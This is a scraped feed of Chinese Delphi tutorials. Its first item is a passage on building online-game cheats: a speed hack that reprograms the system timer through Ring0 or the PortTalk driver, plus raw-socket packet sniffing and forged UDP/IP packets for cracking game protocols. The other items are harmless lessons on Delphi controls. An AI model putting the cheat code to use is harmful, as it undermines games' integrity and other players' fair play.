@@Ring0: ／／Ring0,这个也是最最最核心的东东
mov al,$34 ／／写入8253控制寄存器
out $43,al
mov ax,value　／／写入定时值
out $40,al ／／写定时值低位
mov al,ah
out $40,al ／／写定时值高位
iretd ／／返回
@@exitasm:
end;
end;
最核心的东西已经写完了，大部份读者是知其然不知其所以然吧，呵呵，不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于&amp;ldquo;变速齿轮&amp;rdquo;的一个东东吧！#p#副标题#e#  刘悦
				
		
		
先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：
SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
因为windows默认的值为$1742，所以我们把1742做为基数，又因为值越小越快，反之越慢的原理，所以写了这样一个公式，好了，这就是&amp;ldquo;变速齿轮&amp;rdquo;的一个Delphi＋ASM版了（只适用于win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。
在win2000里，我们不可能实现在直接对端口进行操作，Ring0也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000的驱动不是一个VxD就能实现的，像我这样的低手是写不出windows所用的驱动WDM的，没办法，我只有借助外力实现了，ProtTalk就是一个很好的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。
1、我们首先要下一个PortTalk驱动，他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口（我想省略了，大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧）
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了，下面就讲一下这程序的实现方法吧，如果说用ProtTalk来操作端口就容易多了，比win98下用ring权限操作方便。
1、新建一个工程，把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses
windows,ProtTalk&amp;hellip;&amp;hellip;
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;
4、先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：
SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));
============================================================================#p#副标题#e#  刘悦
				
		
		
网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一，在这一篇里就让我们一起研究一下这一个问题吧。
别看这是封包这一问题，但是涉及的技术范围很广范，实现的方式也很多（比如说APIHOOK,VXD,Winsock2都可以实现），在这里我们不可能每种技术和方法都涉及，所以我在这里以Winsock2技术作详细讲解，就算作抛砖引玉。
由于大多数读者对封包类编程不是很了解，我在这里就简单介绍一下相关知识：
APIHooK：
由于Windows的把内核提供的功能都封装到API里面，所以大家要实现功能就必须通过API，换句话说就是我们要想捕获数据封包，就必须先要得知道并且捕获这个API，从API里面得到封包信息。
VXD：
直接通过控制VXD驱动程序来实现封包信息的捕获，不过VXD只能用于win9X。
winsock2：
winsock是Windows网络编程接口，winsock工作在应用层，它提供与底层传输协议无关的高层数据传输编程接口，winsock2是winsock2.0提供的服务提供者接口，但只能在win2000下用。
好了，我们开始进入winsock2封包式编程吧。
在封包编程里面我准备分两个步骤对大家进行讲解：1、封包的捕获，2、封包的发送。
首先我们要实现的是封包的捕获：
Delphi的封装的winsock是1.0版的，很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口，才可以使用winsock2。
1、如何做winsock2的接口？
1）我们要先定义winsock2.0所用得到的类型，在这里我们以WSA_DATA类型做示范，大家可以举一仿三的来实现winsock2其他类型的封装。
我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;，大家会发现WSData是引用参数，在传入参数时传的是变量的地址，所以我们对WSA_DATA做以下封装：
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;
2）我们要从WS2_32.DLL引入winsock2的函数，在此我们也是以WSAStartup为例做函数引入：
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
implementation
const WinSocket2 = 'WS2_32.DLL';
function WSAStartup; external winsocket name 'WSAStartup'; #p#副标题#e#  刘悦
				
		
		
通过以上方法，我们便可以对winsock2做接口，下面我们就可以用winsock2做封包捕获了，不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题，所以我们在这里以IP数据包为例做封包捕获，如果下面的某些数据类型您不是很清楚，请您查阅MSDN：
1）我们要起动WSA，这时个要用到的WSAStartup函数，用法如下：
INTEGER WSAStartup(
wVersionRequired: word，
WSData: TWSA_DATA
)；
2）使用socket函数得到socket句柄，m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下：
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄，AF_INET，SOCK_RAW，IPPROTO_IP均为常量。
3)定义SOCK_ADDR类型，跟据我们的网卡IP给Sock_ADDR类型附值，然后我们使用bind函数来绑定我们的网卡，Bind函数用法如下：
Type
IN_ADDR = record
S_addr : PChar;
End;
Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;
var
LocalAddr:TSOCK_ADDR;
LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); ／／这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。
bind(m_hSocket, LocalAddr, sizeof(LocalAddr))；
4)用WSAIoctl来注册WSA的输入输出组件，其用法如下：
INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);
5)下面做死循环，在死循环块里，来实现数据的接收。但是徇环中间要用Sleep()做延时，不然程序会出错。
6)在循环块里，用recv函数来接收数据，recv函数用法如下：
INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
)；
7)在buffer里就是我们接收回来的数据了，如果我们想要知道数据是什么地方发来的，那么，我们要定义一定IP包结构，用CopyMemory()把IP信息从buffer里面读出来就可以了，不过读出来的是十六进制的数据需要转换一下。
看了封包捕获的全过程序，对你是不是有点起发，然而在这里要告诉大家的是封包的获得是很容易的，但是许多游戏的封包都是加密的，如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。
======================================================================#p#副标题#e#  刘悦
				
		
		
在本章中，我们主要来研究一下封包的制作和发送，同样，我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1，winsock2需要自已封装一下，我在此就不多介绍如何封装了。
下面就一步步实现我们的封包封装与发送吧：
首先，我们应该知道，封包是分两段的，一段是IP，一段是协议（TCP，UDP，其他协议），IP就像邮政编码一样，标识着你的这个封包是从哪里到哪里，而协议里记录着目标所要用到的包的格式及校验等，在网络游戏中的协议一般都是自已定义的，要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解，为了不影响现运行的网络游戏的安全，我在此会以UDP协议为例，介绍一下网络协议的封包与发送的全过程。
接下来，我们就可以开始看看整个封包全过程了：
1）我们要起动sock2，这时个要用到的WSAStartup函数，用法如下：
INTEGER WSAStartup(
wVersionRequired: word，
WSData: TWSA_DATA
)；
在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。
2）使用socket函数创建并得到socket句柄; 用法如下：
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
注意的是在我们的程序封包中饱含了IP包头，所以我们的Struct参数这里要传入的参数值为2，表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
3）使用setsockopt函数设置sock的选项; 用法如下：
INTEGER setsockopt(s: Integer,
level: Integer,
optname: Integer,
optval: PChar,
optlen: Integer
);
在S处传入的是Socket句柄，在本程序里level输入的值为0表示IP（如果是6表示TCP，17表示UDP等~），OptName里写入2，而optval的初始值填入1，optlen为optval的大小。
4）接下来我们要分几个步骤来实现构建封包：
1、把IP转换成sock地址，用inet_addr来转换。
Longint inet_addr(
cp: PChar
);
2、定义包的总大小、IP的版本信息为IP结构：
总包大小=IP头的大小+UDP头的大小+UDP消息的大小，
IP的版本，在此程序里定义为4，
3、填写IP包头的结构：
ip.ipverlen := IP的版本 shl 4;
ip.iptos := 0; // IP服务类型
ip.iptotallength := ; // 总包大小
ip.ipid := 0; // 唯一标识，一般设置为0
ip.ipoffset := 0; // 偏移字段
ip.ipttl := 128; // 超时时间
ip.ipprotocol := $11; // 定义协议
ip.ipchecksum := 0 ; // 检验总数
ip.ipsrcaddr := ; // 源地址
ip.ipdestaddr := ; // 目标地址
4、填写UDP包头的结构：
udp.srcportno := ; //源端口号
udp.dstportno := ; //目标端口号
udp.udplength := ; //UDP包的大小
udp.udpchecksum := ; //检验总数
5、把IP包头，UDP包头及消息，放入缓存。
6、定义远程信息：
remote.family := 2;
remote.port :=; //远程端口
remote.addr.addr :=; //远程地址
5）我们用SendTo发送封包，用法如下：
INTEGER sendto(s: Integer,
var Buf: Integer,
var len: Integer,
var flags: Integer,
var addrto: TSock_Addr;
tolen: Integer
);
在S处传入的是Socket句柄,Buf是刚刚建好的封包，len传入封包的总长度刚刚计算过了，flag是传入标记在这里我们设为0，addto发送到的目标地址，在这里我们就传入remote就可以了，tolen写入的是remote的大小。
6）到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。
最后要说的是这种发送方式，只能发送完全被破解的网络协议，如果要在别人的程序中间发送数据就只有用APIHOOK或在winsock2做中间层了。如果大家还有什么问题需要和我讨论，请发邮件到microprogramer@hotmail.com或加QQ：24259132。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 10:15 </pubDate>
</item>
<item>
<title>delphi入门教程 </title>
<link>http://www.youjoys.cn/knowledge/20110728/319.html </link>
<description>第一章-Delphi入门(一)(1) 第一章-Delphi入门(一)(2) 第一章-Delphi入门(一)(3) 第一章-Delphi入门(二)(1) 第一章-Delphi入门(二)(2) 第一章-Delphi入门(二)(3) </description>
<text>本站整理 
				
		
		
























































































































































































































 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi标准控件-单选按钮和复选框 </title>
<link>http://www.youjoys.cn/knowledge/20110728/320.html </link>
<description>单选按钮（RadioButton）和复选按框（CheckBox）都是很常用的组件，尤其是在对话框中。单选按钮（RadioButton）是一种具有排他性的选择组件，用户每一次只能选 </description>
<text>
	洪恩在线 洪恩

	单选按钮（RadioButton）和复选按框（CheckBox）都是很常用的组件，尤其是在对话框中。单选按钮（RadioButton）是一种具有排他性的选择组件，用户每一次只能选择其中的一个（在同一个容器组件中，如同一Form上或RadioBox中）。而复选框（CheckBox）则不同，可以同时选择多个。

	两种组件都有一个Checked属性，用于标识和检测是否被选中。我们使用这两个组件，给上一节（Memo组件介绍）的例程（简单编辑器）添加一些新的功能，使它可以选择字体颜色和字体的样式。

	程序的界面如下图所示：

	&amp;nbsp;

	程序如下：

	unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Memo1: TMemo; Button1: TButton; SaveDialog1: TSaveDialog; OpenDialog1: TOpenDialog; Button2: TButton; Button3: TButton; Button4: TButton; Button5: TButton; Button6: TButton; Button7: TButton; RadioButton1: TRadioButton; RadioButton2: TRadioButton; RadioButton3: TRadioButton; CheckBox1: TCheckBox; CheckBox2: TCheckBox; CheckBox3: TCheckBox; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure Button6Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button7Click(Sender: TObject); procedure RadioButton1Click(Sender: TObject); procedure RadioButton2Click(Sender: TObject); procedure RadioButton3Click(Sender: TObject); procedure CheckBox1Click(Sender: TObject); procedure CheckBox2Click(Sender: TObject); procedure CheckBox3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin memo1.Lines.Add(&amp;#39;在末端添加文本&amp;#39;); end; procedure TForm1.FormCreate(Sender: TObject); begin memo1.Lines.Text:=&amp;#39;这里是Memo组件示例&amp;#39;; memo1.Font.Color:=clRed; //设定文本的初始颜色为红色，因为RadioButton1是默认选中的 end; procedure TForm1.Button2Click(Sender: TObject); begin if Memo1.SelLength&amp;gt;0 then Memo1.CutToClipboard; end; procedure TForm1.Button5Click(Sender: TObject); begin if savedialog1.Execute then memo1.Lines.SaveToFile(savedialog1.FileName); end; procedure TForm1.Button6Click(Sender: TObject); begin if Opendialog1.Execute then memo1.Lines.LoadFromFile(opendialog1.FileName); end; procedure TForm1.Button3Click(Sender: TObject); begin if Memo1.SelLength&amp;gt;0 then Memo1.CopyToClipboard; end; procedure TForm1.Button4Click(Sender: TObject); begin if Memo1.SelLength=0 then Memo1.PasteFromClipboard; end; procedure TForm1.Button7Click(Sender: TObject); begin close; end; procedure TForm1.RadioButton1Click(Sender: TObject); begin if radiobutton1.Checked=true then //判断是否被选中 Memo1.Font.color:=clRed; //改变颜色 end; procedure TForm1.RadioButton2Click(Sender: TObject); begin if radiobutton2.Checked=true then Memo1.Font.Color:=clBlue; end; procedure TForm1.RadioButton3Click(Sender: TObject); begin if radiobutton3.Checked=true then Memo1.Font.Color:=clGreen; end; procedure TForm1.CheckBox1Click(Sender: TObject); begin if checkbox1.Checked=true then Memo1.Font.Style:=Memo1.Font.Style+[fsBold] else Memo1.Font.Style:=Memo1.Font.Style-[fsBold]; end; procedure TForm1.CheckBox2Click(Sender: TObject); begin if checkbox2.Checked=true then Memo1.Font.Style:=Memo1.Font.Style+[fsItalic] else Memo1.Font.Style:=Memo1.Font.Style-[fsItalic]; end; procedure TForm1.CheckBox3Click(Sender: TObject); begin if checkbox3.Checked=true then Memo1.Font.Style:=Memo1.Font.Style+[fsUnderline] else Memo1.Font.Style:=Memo1.Font.Style-[fsUnderline]; end; end.

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,标准,控件,单选,按钮,复选框,洪恩在线,洪恩 </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi标准控件-单选按钮组 </title>
<link>http://www.youjoys.cn/knowledge/20110728/321.html </link>
<description>单选按钮组（RadioBox）是单选按钮的组合。当我们需要对不同的单选按钮进行选择时，为了使不同组之间互不干涉，就需要使用单选按钮组。 单选按钮组有两个重要得 </description>
<text>
	洪恩在线

	单选按钮组（RadioBox）是单选按钮的组合。当我们需要对不同的单选按钮进行选择时，为了使不同组之间互不干涉，就需要使用单选按钮组。

	单选按钮组有两个重要得属性：Items和ItemIndex。在窗体上选中RadioBox组件在对象查看器上双击Items属性，将打开一个对话框，如下图所示：

	&amp;nbsp;

	在该对话框的编辑窗口中输入各项标题，每项一行。

	ItemIndex属性用于表明单选按钮组中哪一项被选中了。若为－１（缺省值），表示没有被选中的项；若为0，表示第一项被选中；若为１，表示第二项被选中；其他依次类推。

	我们在前面编制的文本编辑器的基础上，使用单选按钮组代替单选按钮，并添加字体选择功能。程序用到两个RadioGroup组件，属性如下：

	
		
			
				属性
			
				　　RadioGroup1
			
				　　RadioGroup2
		
		
			
				Caption
			
				　　颜色
			
				　　字体
		
		
			
				Items
			
				　　红色；蓝色；绿色
			
				　　Aria；Symbol；宋体
		
		
			
				ItemIndex
			
				　　　　0
			
				　　　　2
		
	


	由于RadioGroup1的IntemIdex为０，则第一项为初始被选中的项，即&amp;ldquo;红色&amp;rdquo;被选中，所以程序在初始化时应将Memo1中的文本颜色设置为红色；同样，RadioGruop2的初始项为第三项&amp;ldquo;宋体&amp;rdquo;（ItemIndex为２），也应在初始化时将Memo的文本字体设置为宋体。初始化语句放在Form1的OnCreate事件中，即在创建窗体时对Memo组件进行初始设置。相应得程序如下：

	procedure TForm1.FormCreate(Sender: TObject);
	　　　 begin
	　　　 memo1.Lines.Text:=&amp;#39;这里是RadioGroup组件示例&amp;#39;;
	　　　 memo1.Font.Color:=clRed; //设定文本的初始颜色为红色
	　　　 memo1.Font.Name:=&amp;#39;宋体&amp;#39; //设定文本字体为宋体
	　　　 end;

	改变字体颜色的程序代码如下：

	procedure TForm1.RadioGroup1Click(Sender: TObject);
	　　　 begin
	　　　　 if radiogroup1.ItemIndex=0 then
	　　　　　 Memo1.Font.Color:=clRed
	　　　　 else if radiogroup1.ItemIndex=1 then
	　　　　　 Memo1.Font.Color:=clBlue
	　　　　　　 else
	　　　　　　 Memo1.Font.Color:=clGreen;
	　　　 end;

	改变字体的程序代码如下：

	procedure TForm1.RadioGroup2Click(Sender: TObject);
	　　　 begin
	　　　　 if radiogroup2.ItemIndex=0 then
	　　　　　　 Memo1.Font.Name:=&amp;#39;Arial&amp;#39;
	　　　　 else　if radiogroup2.ItemIndex=1 then
	　　　　　 Memo1.font.name:=&amp;#39;Symbol&amp;#39;
	　　　　　　　 else Memo1.Font.Name:=&amp;#39;宋体&amp;#39;;
	　　　 end;

	程序界面如下图所示：

	&amp;nbsp;

	完整的程序代码如下：

	unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm) Memo1: TMemo; Button1: TButton; SaveDialog1: TSaveDialog; OpenDialog1: TOpenDialog; Button2: TButton; Button3: TButton; Button4: TButton; Button5: TButton; Button6: TButton; Button7: TButton; CheckBox1: TCheckBox; CheckBox2: TCheckBox; CheckBox3: TCheckBox; RadioGroup1: TRadioGroup; RadioGroup2: TRadioGroup; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure Button6Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button7Click(Sender: TObject); procedure CheckBox1Click(Sender: TObject); procedure CheckBox2Click(Sender: TObject); procedure CheckBox3Click(Sender: TObject); procedure RadioGroup2Click(Sender: TObject); procedure RadioGroup1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin memo1.Lines.Add(&amp;#39;在末端添加文本&amp;#39;); end; procedure TForm1.FormCreate(Sender: TObject); begin memo1.Lines.Text:=&amp;#39;这里是RadioGroup组件示例&amp;#39;; memo1.Font.Color:=clRed; //设定文本的初始颜色为红色 memo1.Font.Name:=&amp;#39;宋体&amp;#39; //设定文本字体为宋体 end; procedure TForm1.Button2Click(Sender: TObject); begin if Memo1.SelLength&amp;gt;0 then Memo1.CutToClipboard; end; procedure TForm1.Button5Click(Sender: TObject); begin if savedialog1.Execute then memo1.Lines.SaveToFile(savedialog1.FileName); end; procedure TForm1.Button6Click(Sender: TObject); begin if Opendialog1.Execute then memo1.Lines.LoadFromFile(opendialog1.FileName); end; procedure TForm1.Button3Click(Sender: TObject); begin if Memo1.SelLength&amp;gt;0 then Memo1.CopyToClipboard; end; procedure TForm1.Button4Click(Sender: TObject); begin if Memo1.SelLength=0 then Memo1.PasteFromClipboard; end; procedure TForm1.Button7Click(Sender: TObject); begin close; end; procedure TForm1.CheckBox1Click(Sender: TObject); begin if checkbox1.Checked=true then Memo1.Font.Style:=Memo1.Font.Style+[fsBold] else Memo1.Font.Style:=Memo1.Font.Style-[fsBold]; end; procedure TForm1.CheckBox2Click(Sender: TObject); begin if checkbox2.Checked=true then Memo1.Font.Style:=Memo1.Font.Style+[fsItalic] else Memo1.Font.Style:=Memo1.Font.Style-[fsItalic]; end; procedure TForm1.CheckBox3Click(Sender: TObject); begin if checkbox3.Checked=true then Memo1.Font.Style:=Memo1.Font.Style+[fsUnderline] else Memo1.Font.Style:=Memo1.Font.Style-[fsUnderline]; end; procedure TForm1.RadioGroup2Click(Sender: TObject); begin if radiogroup2.ItemIndex=0 then Memo1.Font.Name:=&amp;#39;Arial&amp;#39; else if radiogroup2.ItemIndex=1 then Memo1.font.name:=&amp;#39;Symbol&amp;#39; else Memo1.Font.Name:=&amp;#39;宋体&amp;#39;; end; procedure TForm1.RadioGroup1Click(Sender: TObject); begin if radiogroup1.ItemIndex=0 then Memo1.Font.Color:=clRed else if radiogroup1.ItemIndex=1 then Memo1.Font.Color:=clBlue else Memo1.Font.Color:=clGreen; end; end.

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,标准,控件,单选,按钮,洪恩在线,单选,按钮, </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi标准控件-Memo组件 </title>
<link>http://www.youjoys.cn/knowledge/20110728/322.html </link>
<description>Edit和MaskEdit组件都只能编辑单行文本，Delphi的Memo组件提供了多行文本的编辑功能。下面解释Memo组件常用的属性。 属性 说明 Lines 这是Memo组件最常用，也是 </description>
<text>
	洪恩在线

	Edit和MaskEdit组件都只能编辑单行文本，Delphi的Memo组件提供了多行文本的编辑功能。下面解释Memo组件常用的属性。

	
		
			
				属性
			
				说明
		
		
			
				　Lines
			
				这是Memo组件最常用，也是最有用的属性，它用来显示和保存Memo组件中的内容。
		
		
			
				　Scrollbar
			
				很多组件都有这个属性。用于设定组件有否滚动条。它有四个值：SSNone表示既无水平滚动条，也无垂直滚动条；SSHorizontal表示只有水平滚动条；SSVertal表示只有垂直滚动条；SSBoth表示两者都有。当用户要显示的文本或其它的内容较多时，建议选用SSBoth。
		
		
			
				　WordWrap
			
				用于设定Momo组件是否具有自动折行功能。
		
		
			
				　WantTabs
			
				这个属性只在Memo、RichEdit和DBMemo组件中使用。通常在切换当前焦点控件时，我们通常使用Tab键。但在上述三种组件中，编辑文本时常用Tab键来跳过若干个空格使文本对齐，这时就会有冲突。所以应将WantTabs设置为True，这样子在组件内就可以使用Tab键来编辑文本。
		
	


	Memo组件常用的方法：

	１. 使用剪贴板（Clipboard）

	我们可以使用CutToClipboard、CopyToClipboard和PastFromClipboar这三种方法，实现将Memo组件中被选择文本剪切或复制到剪贴板上，以及将剪切板上的内容粘贴到Memo组件中。

	将Memo中的选中文本剪切到剪贴板的语句如下：
	　　 if Memo1.SelLength&amp;gt;0 then

	2. 文本的添加

	利用Lines属性，可以增加、删除一行文本，也可以移动一行文本。下面的代码将文本添加到Memo中的最后一行：

	Memo1.Lines.Add(&amp;#39;将文本添加到Memo中&amp;rsquo;）；

	3. 文件的保存和装载

	我们可以将Memo组件中的文本保存成文本文件，也可以将文本文件装载到Memo中。这须要配合使用SaveDialog组件和OpenDialog组件。将Memo中的文本保存为文件的语句为：

	If SaveDialog1.Execute then　　　//打开保存对话框
	　　 Memo1.Lines.SaveToFile(SaveDialog1.FileName);　　//保存为文件

	上边的语句先打开保存对话框，然后将Memo中的文本保存到一个文件中，文件名为我们在SaveDialog中输入的文本。

	在Memo中装载文本文件的语句为：

	if Opendialog1.Execute then
	　　 Memo1.Lines.LoadFile(Opendialog1.FileName);

	执行上边语句将打开Opendialog对话框，然后将选中的文本文件装载到Memo中。

	下面我们使用Memo组件的这些特性制作一个简单的文本编辑器，可以实现文本的拷贝复制，并可以进行文本的保存和装载。当然程序的功能还很简单，我们还可以进一步扩展。这里是入门教程，所以不宜太复杂。

	程序的界面如下图所示：

	&amp;nbsp;

	源代码如下：　

	unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Memo1: TMemo; Button1: TButton; SaveDialog1: TSaveDialog; OpenDialog1: TOpenDialog; Button2: TButton; Button3: TButton; Button4: TButton; Button5: TButton; Button6: TButton; Button7: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button5Click(Sender: TObject); procedure Button6Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure Button4Click(Sender: TObject); procedure Button7Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); begin memo1.Lines.Add(&amp;#39;在末端添加文本&amp;#39;); end; procedure TForm1.FormCreate(Sender: TObject); begin memo1.Lines.Text:=&amp;#39;这里是Memo组件示例&amp;#39;; end; procedure TForm1.Button2Click(Sender: TObject); begin if Memo1.SelLength&amp;gt;0 then Memo1.CutToClipboard; end; procedure TForm1.Button5Click(Sender: TObject); begin if savedialog1.Execute then memo1.Lines.SaveToFile(savedialog1.FileName); end; procedure TForm1.Button6Click(Sender: TObject); begin if Opendialog1.Execute then memo1.Lines.LoadFromFile(opendialog1.FileName); end; procedure TForm1.Button3Click(Sender: TObject); begin if Memo1.SelLength&amp;gt;0 then Memo1.CopyToClipboard; end; procedure TForm1.Button4Click(Sender: TObject); begin if Memo1.SelLength=0 then Memo1.PasteFromClipboard; end; procedure TForm1.Button7Click(Sender: TObject); begin close; end; end.

	&amp;nbsp;
 </text>
<image> </image>
<keywords>Delphi,标准,控件,-Memo,组件,洪恩在线,Edi </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-28 09:42 </pubDate>
</item>
<item>
<title>Delphi标准控件-掩码编辑框（MaskEdit） </title>
<link>http://www.youjoys.cn/knowledge/20110728/323.html </link>
<description>掩码编辑框（MaskEdit）是一种特殊的编辑框。使用它可以设计出许多复杂的输入 格式。在选用MaskEdit之后，需要为它设计一个输入格式。方法如下： 首先在窗体上 </description>
<text>
	洪恩在线

	掩码编辑框（MaskEdit）是一种特殊的编辑框。使用它可以设计出许多复杂的输入 格式。在选用MaskEdit之后，需要为它设计一个输入格式。方法如下：

	首先在窗体上将MaskEdit选中，在对象查看器（Object Inspector）中找到EditMask属性，双击它，弹出一个如下图所示的对话框。

	对话框左上角的Input Mask编辑框用于输入掩码格式。掩码格式可以分为三部分，每个部分之间用分号&amp;ldquo;；&amp;rdquo;分开，如&amp;ldquo;!90:90:90:;1;_ &amp;rdquo;。下面解释各输入格式符的意义：

	&amp;nbsp;

	1.　输入格式的第一部分是掩码本身，也就是数据输入格式。在这一部分用一些特殊的格式符来表示应输入的字符类型及格式，如&amp;ldquo;!l0A9:C&amp;gt;ll&amp;lt;&amp;rdquo;这样一串输入格式掩码。常用的MaskEdit输入格式符有：

	
		
			
				格式符
			
				意义
		
		
			
				l和L
			
				l表示该位置只可能是一个字母，可以用光标键跳过它，但是不能是其它类型的字符。L该位置必须是一个字符。
		
		
			
				a和A
			
				a表示该位置只可能是一个字母或数字字符。A表示该位置必须是一个字母或数字字符。
		
		
			
				c和C
			
				c表示该位置只可能是一个字母，C表示该位置必须有一个字母。
		
		
			
				9和0
			
				9表示该位置只可能是一个数字，0表示该位置必须有一个数字。
		
		
			
				　
			
				　　
		
		
			
				〈和〉
			
				&amp;lt;格式符表示随后的字母均以小写的形式显示，直到遇到一个&amp;gt;格式字符或&amp;lt;&amp;gt;格式符。&amp;gt;格式符则和&amp;lt;正好相反。
		
		
			
				〈〉
			
				表示不作大小写转换，以输入时的形式为准。
		
		
			
				\
			
				表示该格式符之后的那个掩码格式符将作为数据中的普通字符对待。当用户想在数据中放进一个掩码格式符时，应该在这个格式符前放一个\符号。如\A，\\等等。
		
		
			
				#
			
				表示该位置可能是一个数字或正符号。
		
		
			
				!
			
				如有!表示数据前的空格将不被保存在数据中，没有!则数据后的空格不被保存。!格式符只能放在掩码格式符的第一个字符处。
		
		
			
				;和/
			
				标准的分隔符，可作为数据的一部分。其中/在显示时为&amp;lsquo;－&amp;rsquo;而非/。
		
		
			
				　　
			
				&amp;nbsp;
		
	


	2.　在输入格式中的第二部分只有0和1两种选择。如为1，则掩码中的非用户输入数据和标准分隔符等其它各种字符会作为数据的一部分保存；为0则不保存。

	3.　输入格式的第三部分用于表示数据中的空位用那个字符代替显示。

	在有了上述知识后，现在来设计一个例子。例如要输入一个汽车牌号如CA－300019 。该数据前两位为字母且为大写，第三位为一个系统分隔符号，后６位为数字。可以这样设计掩码格式：

	!&amp;gt;LL/000000;1;_

	掩码的第二部分取为１表示系统分隔符&amp;lsquo;－&amp;rsquo;也将作为数据保存。第三部分的&amp;ldquo;_&amp;rdquo;表示在掩码编辑框中为空时，用&amp;ldquo;_&amp;rdquo;来表示空位。我们也可以用空格来标识空位。

	又如一个邮编如PO-100083，其中PO表示邮政，是每个邮政编码中都有的前缀，可以这样设计掩码格式：

	!PO/000000;1;_

	在掩码设计对话框的右侧是Sample Masks，这里有系统预设的常用的掩码格式，如电话号码（Phone）、日期（Date）等。我们可以选择一个，然后进行必要的调整。对话框左下部是一个Test Input栏，我们可以在这里输入字符，以检测输入格式是否令人满意。

	&amp;nbsp;
 </text>
<image> </image>
